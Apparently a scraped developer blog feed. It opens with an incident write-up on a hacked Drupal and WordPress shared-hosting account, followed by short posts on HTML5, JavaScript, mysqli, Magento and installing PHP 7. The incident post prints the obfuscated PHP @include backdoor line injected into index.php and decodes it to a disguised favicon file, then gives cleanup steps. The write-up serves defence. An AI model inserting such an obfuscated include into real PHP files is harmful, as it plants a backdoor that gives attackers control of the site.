<tr><td style="text-align: center;"><img alt="Mail sent to me by my webhost informing me about the hack" border="0" data-original-height="355" data-original-width="502" height="282" src="https://4.bp.blogspot.com/-3aPUEo6IuYo/WuosGaAqnCI/AAAAAAAABgY/338J2QSwZ8QMR3Ir3zW8UpcfCWuM-p_EwCLcBGAs/s400/Selection_001.png" style="margin-left: auto; margin-right: auto;" title="Mail sent to me by my webhost informing me about the hack" width="400" /></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
The hacker was able to make a <b>backdoor</b> <b>entry</b> and perform <b>remote</b> <b>code</b> <b>executions</b> due to which large number of emails were being sent from my hosting account. Also he or she or God knows who (the hacker) had inserted <b>obfuscated PHP code</b> in my the 'index.php' file of my Drupal Installation's and also created several index.php files inside following Drupal directories:<br />
<ul style="text-align: left;">
<li>cgi-bin </li>
<li>profiles</li>
<li>sites</li>
<li>sites/default and various other folders</li>
</ul>
The said attacker could have been a bot also (because somewhere I read, the attack can be automated).<br />
<br />
Since my traffic flow is quite small, I use a shared hosting account to host my personal website and projects. Currently I host about four websites in this server by making use of Addon Domains. Almost all the four websites were affected by this intrusion. Amongst the four websites, one website was using Drupal, one was using Wordpress, and two of the remaining websites were static websites.<br />
<br />
<u><b>NOTE</b></u><b>:</b> Please note that it is strongly suggested, where ever possible, you host each one of your website in a separate server. From a security standpoint this is the best option for obvious reasons because from my case itself you can see, when one website got compromised, all other websites suffered the same fate.<br />
<br />
So inspecting the file system of my websites here's what I found out. With Drupal and Wordpress installations I found out that the <b>index.php</b>, <b>wp-config.php, wp-settings.php</b> files were infected with addition of obfuscated PHP codes. Below you can see how the '<b>index.php</b>' file of my Drupal 7 site was infected by the addition of a single line of obfuscated PHP code:<br />
<br />
<div style="text-align: center;">
<b>Obfuscated PHP Code</b></div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> /*df226*/
@include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";
/*df226*/
/**
</code></pre>
You can <b>decode</b> the obfuscated PHP code using the following site: <a href="http://bit.ly/2HMTDz3" target="_blank">Online PHP Script Decoder</a><br />
<br />
Decrypting the above obfuscated PHP code, the code below is what I got, and from it I found out that that the hacker had placed a favicon file called <b>'favicon_ccb993.ico</b>' inside the directory called '<b>misc</b>'.<br />
<br />
<div style="text-align: center;">
<b>Decrypted Obfuscated PHP Code</b></div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> @include "/home/marpainf/public_html/client-demo/sackid/misc/favicon_ccb993.ico";
</code></pre>
<br />
But the <b>most important thing to note</b> here is that, this <span style="color: red;">favicon file is not really a favicon file</span>. It's a PHP file, just <span style="color: red;">faked</span> as a favicon file. Just rename the favicon file by replacing the '.ico' extension with a .php extension, for example '<span style="color: red;">favicon_ccb993.php</span>', and open the file, and you will know what I mean. You can view the decrypted favicon_ccb993.ico file here: <a href="http://bit.ly/2HPfNwm" target="_blank">http://bit.ly/2HPfNwm</a><br />
<br />
<div style="text-align: center;">
<b>Infected Drupal 7 index.php file</b></div>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <?php
/*df226*/
@include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";
/*df226*/
/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/
/**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();
</code></pre>
<br />
<h3 style="text-align: left;">
<span style="font-size: x-large;">The Fix/Cleanup:</span></h3>
<br />
<h4>
<span style="font-size: large;"><b>1. Allow only yourself to access your site and block all other access</b></span></h4>
First and foremost, open up your <b>.htaccess file</b> and enter the following code. This will block access to all your websites excepting yourself, allowing you to perform your site's cleanup process without any worry of any further attack. This <b>.htaccess file </b>should exist right inside your site's Document Root folder. <br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> # Deny access to all users except yourself
deny from all
allow from enter_your_ip_here
</code></pre>
<br />
<h4 style="text-align: left;">
<span style="font-size: large;">2. Revert to a clean old backup and update your Drupal core to the latest version</span></h4>
Reverting to an old backup is highly recommended, <u>in fact a must</u>, because as per my research it's very difficult to clean an already compromised site and trace the numerous backdoor entry-points the hacker might have created. That's why the safest bet is to go with a clean backup rather than try and update an already compromised site.<br />
<br />
<h4 style="text-align: left;">
<span style="font-size: large;">3. Update your site to the latest Drupal release</span></h4>
This process is also very important, because no matter how much I reverted to my old backup copy the hacker managed to attack my site. And in my case when I began my cleanup process, Drupal still hadn't release a solution viz. Drupal 7.59. Only after this fix was release, which was about 2-3 days from the time my site was attacked, and after I finished updating to this release from Drupal, the exploit stopped.<br />
<br />
<br />
<h4 style="text-align: left;">
<span style="font-size: large;">4. Install Drupal Security Contrib Modules</span></h4>
I have also installed the following contrib modules that helps enhance your Drupal site's security:<br />
<ul style="text-align: left;">
<li><a href="https://www.drupal.org/project/security_review" target="_blank">Security Review</a></li>
<li><a href="https://www.drupal.org/project/paranoia" target="_blank">Paranoia</a></li>
<li><a href="https://www.drupal.org/project/md5check" target="_blank">MD5 Check</a></li>
<li><a href="https://www.drupal.org/project/hacked" target="_blank">Hacked</a> </li>
</ul>
<div style="text-align: left;">
<span style="font-size: small;"><b>Security Review</b></span></div>
<div style="text-align: left;">
The Security Review module automates testing for many of the easy-to-make mistakes that render your site insecure.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><b>Paranoia</b></span></div>
<div style="text-align: left;">
The Paranoia module attempts to identify all the places that a user can evaluate PHP via Drupal's web interface and then block those. It reduces the potential impact of an attacker gaining elevated permission on a Drupal site. </div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><b>MD5 Check</b></span></div>
<div style="text-align: left;">
The MD5 Check generates a md5 checksum of all module files. If module is changed a critical security error is generated in watchdog log. This module should only used in production environments.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-size: small;"><b>Hacked</b></span></div>
This module scans the currently installed Drupal, contributed modules and themes, re-downloads them and determines if they have been changed. Changes are marked clearly and if the diff module is installed then Hacked! will allow you to see the exact lines that have changed. <br />
<br />
<b>NOTE:</b> Be aware though that the more modules you have running on your site the greater (usually) attack area you expose. <br />
<br />
<h4 style="text-align: left;">
<span style="font-size: large;">5. Set the Correct User Group & File Permissions for your Drupal </span>Directory/Files</h4>
Make sure all your directory have permission set to <span style="color: red;">755</span> and all your files have permission set to <span style="color: red;">644</span>.<br />
<br />
It is <b><span style="color: red;">dangerous</span></b> to allow the web server to write to files inside the document root of your server. Doing so could allow Drupal to write files that could then be executed. An attacker might use such a vulnerability to take control of your site. An exception is the Drupal files, private files, and temporary directories which Drupal needs permission to write to in order to provide features like file attachments. Read more at: <a href="http://bit.ly/2HKELRp" target="_blank">http://bit.ly/2HKELRp</a>.<br />
<br />
<h4 style="text-align: left;">
<span style="font-size: x-large;">Site Cleanup = SUCCESSFUL! </span></h4>
Finally, my site was all clean. I confirmed this with my webhost, and they too confirmed the same. You can see the confirmation screenshot below. <br />
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-yo0UhjlZCs8/Wuq2-JLWTHI/AAAAAAAABg4/DbjcXVX3i8027QOBNMbpjJ3y_I5xQomSgCLcBGAs/s1600/Selection_001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="501" height="233" src="https://3.bp.blogspot.com/-yo0UhjlZCs8/Wuq2-JLWTHI/AAAAAAAABg4/DbjcXVX3i8027QOBNMbpjJ3y_I5xQomSgCLcBGAs/s400/Selection_001.png" width="400" /></a></div>
<br />
<br />
<h3 style="text-align: left;">
<span style="font-size: large;"> Recommended Reading:</span></h3>
<ul style="text-align: left;">
<li><a href="https://www.drupal.org/docs/develop/security/your-drupal-site-got-hacked-now-what" target="_blank">Your Drupal site got hacked. Now what?</a> </li>
<li><a href="https://www.drupal.org/security/secure-configuration" target="_blank">Securing your Drupal site</a> </li>
<li><a href="https://www.drupal.org/project/security_review" target="_blank">Drupal Security Review</a></li>
<li><a href="https://modulesunraveled.com/blog/how-restore-your-hacked-site" target="_blank">How to Restore Your Hacked Site</a></li>
<li><a href="https://www.ostraining.com/blog/drupal/check-drupal-site-security/" target="_blank">How to Check Your Drupal Site Security</a> </li>
<li><a href="https://research.checkpoint.com/uncovering-drupalgeddon-2/" target="_blank">Uncovering Drupalgeddon 2</a></li>
<li><a href="https://www.volexity.com/blog/2018/04/16/drupalgeddon-2-profiting-from-mass-exploitation/" target="_blank">Drupalgeddon 2: Profiting from Mass Exploitation</a></li>
</ul>
</div>
</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com3tag:blogger.com,1999:blog-6824476048687145144.post-71169961845172371722018-04-23T16:27:00.001+05:302018-04-23T16:27:40.769+05:30[SOLVED] - How to Enter Floating-Point/Decimal Numbers in HTML5 Forms<div dir="ltr" style="text-align: left;" trbidi="on">
If you have a form where you have declare a input type as below:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <input type="number" name="quantity" min="1" max="5">
</code></pre>
<br />
Now if you enter a floating-point/decimal value like '2.1' and try to process your form then you will get the following error message:<br />
<b><br /></b>
<b><span style="color: red;">"<span style="color: red;">Please enter a valid value. The two nearest valid values are 2 and 3.</span>"</span></b><br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://3.bp.blogspot.com/-izJqucUI-JQ/Wt26jHzDOVI/AAAAAAAABgI/gG5Jr2bfCbErDtBBu3mlwuRfimojWmw7wCLcBGAs/s1600/Selection_007.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="How to Enter Floating-Point/Decimal Values in HTML5 Forms" border="0" data-original-height="430" data-original-width="539" height="318" src="https://3.bp.blogspot.com/-izJqucUI-JQ/Wt26jHzDOVI/AAAAAAAABgI/gG5Jr2bfCbErDtBBu3mlwuRfimojWmw7wCLcBGAs/s400/Selection_007.png" title="How to Enter Floating-Point/Decimal Values in HTML5 Forms" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Click on image to enlarge</td></tr>
</tbody></table>
<div style="text-align: left;">
<b><span style="font-size: large;">Solution:</span></b></div>
To solve this just add<br />
step="any"<br />
to your form. So, your input code should be as follows:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> <input type="number" name="quantity" min="1" max="5" step="any">
</code></pre>
<br />
Now, you should be able to enter decimal/floating-point values and process them without any hassle.</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com8tag:blogger.com,1999:blog-6824476048687145144.post-43801829040799512532018-04-15T14:38:00.000+05:302018-04-15T14:43:48.682+05:30Why NOT to Use var and Instead Use let or const in JavaScript<div dir="ltr" style="text-align: left;" trbidi="on"><b>Consider the following example code:</b><br />
<br />
<script src="https://gist.github.com/evagabond/30ca19b1627477783aec01f82cbac0fe.js"></script><br />
You can note that the value of <b>var a</b> has changed due to the assignment within the block scope of the if statement, while the value of <b>let b</b> & <b>const c</b> value have remained unaffected. <br />
<br />
So, the way <b>let</b> & <b>const</b> works is the way most programming languages work.<br />
<br />
<b>var</b> is kind of weird, it’s one of the things a lot of people didn’t like about JavaScript. It causes security risk and confusion and hence it’s better to avoid it.</div>CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-27253325436166228532018-04-13T04:23:00.000+05:302018-04-13T04:23:20.750+05:30Shortcut Key to Create HTML Skeleton Structure in VSC<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div style="text-align: center;">
<iframe allow="autoplay; encrypted-media" allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/Nd54tZs-d_k" width="560"></iframe><br /></div>
<br />
<br /></div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-23573518476959448092018-04-06T18:18:00.001+05:302018-04-15T14:40:42.808+05:30Why You Shouldn't Be Using mysqli_fetch_array()?<div dir="ltr" style="text-align: left;" trbidi="on">
While researching as to why not to use <b>mysqli_fetch_array()</b>, and instead use <b>mysqli_fetch_row()</b> or <b>mysqli_fetch_assoc()</b>, I ran into this old post, which well explains the reason. The test results for each of these functions may not be as per contemporary test case, but it will still give you a good idea as to why <b>mysqli_fetch_array()</b> shouldn't be used<br />
<br />
<h3 style="text-align: left;">
Benchmark on a table with 38567 rows:</h3>
<span style="font-size: large;"><b>mysql_fetch_array</b></span><br />
<b>MYSQL_BOTH:</b> 6.01940000057 secs<br />
<b>MYSQL_NUM:</b> 3.22173595428 secs<br />
<b>MYSQL_ASSOC:</b> 3.92950594425 secs<br />
<br />
<span style="font-size: large;"><b>mysql_fetch_row: </b></span>2.35096800327 secs<br />
<span style="font-size: large;"><b>mysql_fetch_assoc:</b></span> 2.92349803448 secs<br />
<br />
As you can see, it's twice as efficient to fetch either an array or a hash, rather than getting both. It's even faster to use <b>fetch_row</b> rather than passing <b>fetch_array MYSQL_NUM</b>, or <b>fetch_assoc</b> rather than <b>fetch_array MYSQL_ASSOC</b>.<br />
<br />
Don't fetch BOTH unless you really need them, and most of the time you don't.<br />
<br />
SOURCE: <a href="http://bit.ly/2qaSyFr" target="_blank">http://bit.ly/2qaSyFr</a></div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-43875849934471189052018-03-17T18:01:00.000+05:302018-03-18T19:43:44.592+05:30[SOLVED] - Could not open input file: bin/magento in localhost and Magento 2x<div dir="ltr" style="text-align: left;" trbidi="on">
If you are getting this error '<span style="color: red;"><b>Could not open input file: bin/magento</b></span>' while trying to run certain magento commands in your terminal in localhost, then you can try this solution which worked for me.<br />
<br />
I ran into this issue, because I'd accessed the root directory of my Magento installation from my terminal. Everything was working fine until now. I then deleted my Magento installation, created a new folder with the same name as the deleted folder. Now remaining in the same terminal window, without changing path or closing the terminal, I was trying to run the magento shell commands. This was the reason I was running into the above error.<br />
<br />
To solve this issue, I simply closed my terminal, opened it again, checked into the root directory of my magento installation, and now the commands were running fine.<br />
<br />
Also check, while at the Terminal, you are inside the Root Directory of your Magento Installation, else you will get this ERROR again.</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0tag:blogger.com,1999:blog-6824476048687145144.post-30626335540467053522018-03-17T00:10:00.000+05:302018-03-17T00:21:24.840+05:30[Solved] - Install PHP 7.0, PHP 7.1 or PHP 7.2 in Ubuntu 14.04<div dir="ltr" style="text-align: left;" trbidi="on">
After trying a couple of packages, settings and configuration, the solution below is finally what worked for me:<br />
<br />
<h3 style="text-align: left;">
1. Update your PPA repository with the PHP 7x package sources:</h3>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo add-apt-repository ppa:ondrej/php
</code></pre>
Press enter to confirm. If you come across any error then you will need
to install the <b>python-software-properties</b> first as shown below:<br />
<u><br /></u>
<u>NOTE</u>:
The above PPA is a co-installable one, meaning you can install PHP 5.5,
PHP 5.6 or PHP 7.0 as per your requirement, and both your old and new
versions of PHP can co-exist without you having to remove the old
version.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get update
sudo apt-get install python-software-properties
</code></pre>
<h3 style="text-align: left;">
2. Update</h3>
Once again update your packages:<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo apt-get update
</code></pre>
<h3 style="text-align: left;">
3. Install PHP 7.x and its relevant mods:</h3>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">For PHP7.0: sudo apt-get install php7.0 php7.1-mbstring php7.0-mcrypt php7.0-mysql php7.0-xml php7.0-curl php7.0-intl php7.0-soap php7.0-zip php7.0-gd
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">For PHP7.1: </code>sudo apt-get install php7.1
</code><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;"><code style="color: black; word-wrap: normal;">For PHP7.2: </code></code>sudo apt-get install php7.2
</code></pre>
<br />
<h3 style="text-align: left;">
4. Disable PHP 5.5 or 5.6:</h3>
Now
this step is very important else you won't be able to use PHP 5.6. Even
when you check your PHP version, it will still display as PHP 5.5.
Follow the step below to disable PHP 5.5.<br />
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo a2dismod php5
</code></pre>
or<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">sudo a2dismod php5.6</code></pre>
<h3 style="text-align: left;">
5. Enable PHP 7.x:</h3>
<span style="font-weight: normal;">Note: Replace x with 0, 1 or 2, depending upon the version you want to install</span><br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo a2enmod php7.x
</code></pre>
<h3 style="text-align: left;">
6. Restart Apache web server:</h3>
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> sudo service apache2 restart
</code></pre>
<br />
<h3 style="text-align: left;">
Note: New location of php.ini file in PHP 5.6:</h3>
The location of
php.ini fie is changed from PHP 5.6 onwards, unlike PHP 5.5 where it
used to be located at '/etc/php5/apache2/php.ini'; the new location is
at '/etc/php/7.x/apache2'</div>
CoolDeephttp://www.blogger.com/profile/04620122877815369159noreply@blogger.com0